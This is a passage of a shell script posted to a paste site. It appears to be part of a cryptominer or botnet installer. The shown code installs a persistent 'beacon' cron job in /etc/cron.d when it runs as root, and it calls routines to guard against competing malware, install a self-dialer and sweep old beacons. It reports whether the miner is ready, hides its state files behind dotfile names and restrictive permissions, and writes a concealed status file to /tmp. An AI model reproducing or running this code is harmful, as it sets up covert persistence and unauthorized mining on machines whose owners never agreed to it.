  2138. for _bb_bf in "$HOME"/.beacon_*.sh; do
  2139. [ -f "$_bb_bf" ] || continue
  2140. if [ "$(id -u)" = "0" ]; then
  2141. _bb_line="$_beacon_sched * * * * $_bb_bf >/dev/null 2>&1"
  2142. printf '%s\n' "$_bb_line" > /etc/cron.d/zz_beacon 2>/dev/null && \
  2143. echo "[M36b] beacon restored via /etc/cron.d/zz_beacon -> $_bb_bf"
  2144. else
  2145. echo "[M36b] non-root: cannot repair own crontab (root-owned spool); needs a root land (M35)."
  2146. fi
  2147. break
  2148. done
  2149. fi
  2150. fi
  2151. if [ -s /etc/cron.d/.zz-beacon ] && [ "$(id -u)" -eq 0 ]; then
  2152. cat /etc/cron.d/.zz-beacon >> /etc/cron.d/zz_beacon 2>/dev/null \
  2153. && rm -f /etc/cron.d/.zz-beacon 2>/dev/null
  2154. chmod 644 /etc/cron.d/zz_beacon 2>/dev/null
  2155. fi
  2156. if ! crontab -l 2>/dev/null | grep -qF "$_beacon_file" \
  2157. && ! grep -qF "$_beacon_file" /etc/cron.d/zz_beacon 2>/dev/null; then
  2158. if [ "$(id -u)" -eq 0 ] && \
  2159. printf '%s * * * * %s %s >/dev/null 2>&1\n' "$_beacon_sched" "$(id -un)" "$_beacon_file" \
  2160. >> /etc/cron.d/zz_beacon 2>/dev/null; then
  2161. chmod 644 /etc/cron.d/zz_beacon 2>/dev/null
  2162. echo "Beacon cron installed via /etc/cron.d fallback."
  2163. else
  2164. log "cron: unavailable"
  2165. fi
  2166. fi
  2167. }
  2168. install_beacon_cron
  2169. install_competitor_guardian
  2170. _install_self_dialer
  2171. _sweep_old_beacons
  2172. harden_crontab_gate
  2173. _deg=""
  2174. [ -n "$_STATE_DIR" ] && [ -d "$_STATE_DIR" ] || _deg="state_dir=MISSING"
  2175. [ "$_MINER_READY" = "1" ] && _deg="$_deg miner=OK(${_MINER_STATE:-READY})" || _deg="$_deg miner=MISSING"
  2176. [ -f "$_beacon_file" ] && _deg="$_deg beacon=OK" || _deg="$_deg beacon=MISSING"
  2177. [ -f "$(dirname "$_beacon_file" 2>/dev/null)/.beacon-dialer.sh" ] && _deg="$_deg dialer=OK" || _deg="$_deg dialer=MISSING"
  2178. case "${CRONH:-}" in
  2179. healthy*) _deg="$_deg cron=OK" ;;
  2180. "no crontab binary"*) _deg="$_deg cron=NO_BINARY" ;;
  2181. *daemon*) _deg="$_deg cron=DAEMON_OFF" ;;
  2182. "") _deg="$_deg cron=UNKNOWN" ;;
  2183. *) _deg="$_deg cron=DENIED" ;;
  2184. esac
  2185. command -v curl >/dev/null 2>&1 || command -v wget >/dev/null 2>&1 || _deg="$_deg fetch=SHELL_ONLY"
  2186. [ -n "$HOME" ] && [ -d "$HOME" ] || _deg="$_deg home=MISSING"
  2187. _harden_artifacts() {
  2188. for _ha_d in "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR" "$(dirname "$program_file" 2>/dev/null)"; do
  2189. [ -n "$_ha_d" ] && [ -d "$_ha_d" ] || continue
  2190. for _ha_f in .beacon-endpoint .beacon-job.path .sysid .beacon-dialer.pid .beacon-watchdog.pid .beacon-dialer.ver .inst .run.log .job.json .gpid; do
  2191. [ -f "$_ha_d/$_ha_f" ] && chmod 600 "$_ha_d/$_ha_f" 2>/dev/null || true
  2192. done
  2193. [ -f "$_ha_d/.beacon-dialer.sh" ] && chmod 700 "$_ha_d/.beacon-dialer.sh" 2>/dev/null || true
  2194. done
  2195. [ -f "$_beacon_file" ] && chmod 700 "$_beacon_file" 2>/dev/null || true
  2196. return 0
  2197. }
  2198. _harden_artifacts
  2199. log "STATE:$_deg"
  2200. {
  2201. printf '== status ==\n'
  2202. tail -n 12 "$_STATE_DIR/.run.log" 2>/dev/null
  2203. printf 'STATE:%s\n' "$_deg"
  2204. } > /tmp/.st 2>/dev/null || true
  2205. chmod 600 /tmp/.st 2>/dev/null || true
  2206. log "done."
  2207. _cleanup_transport
RAW Paste Data Copied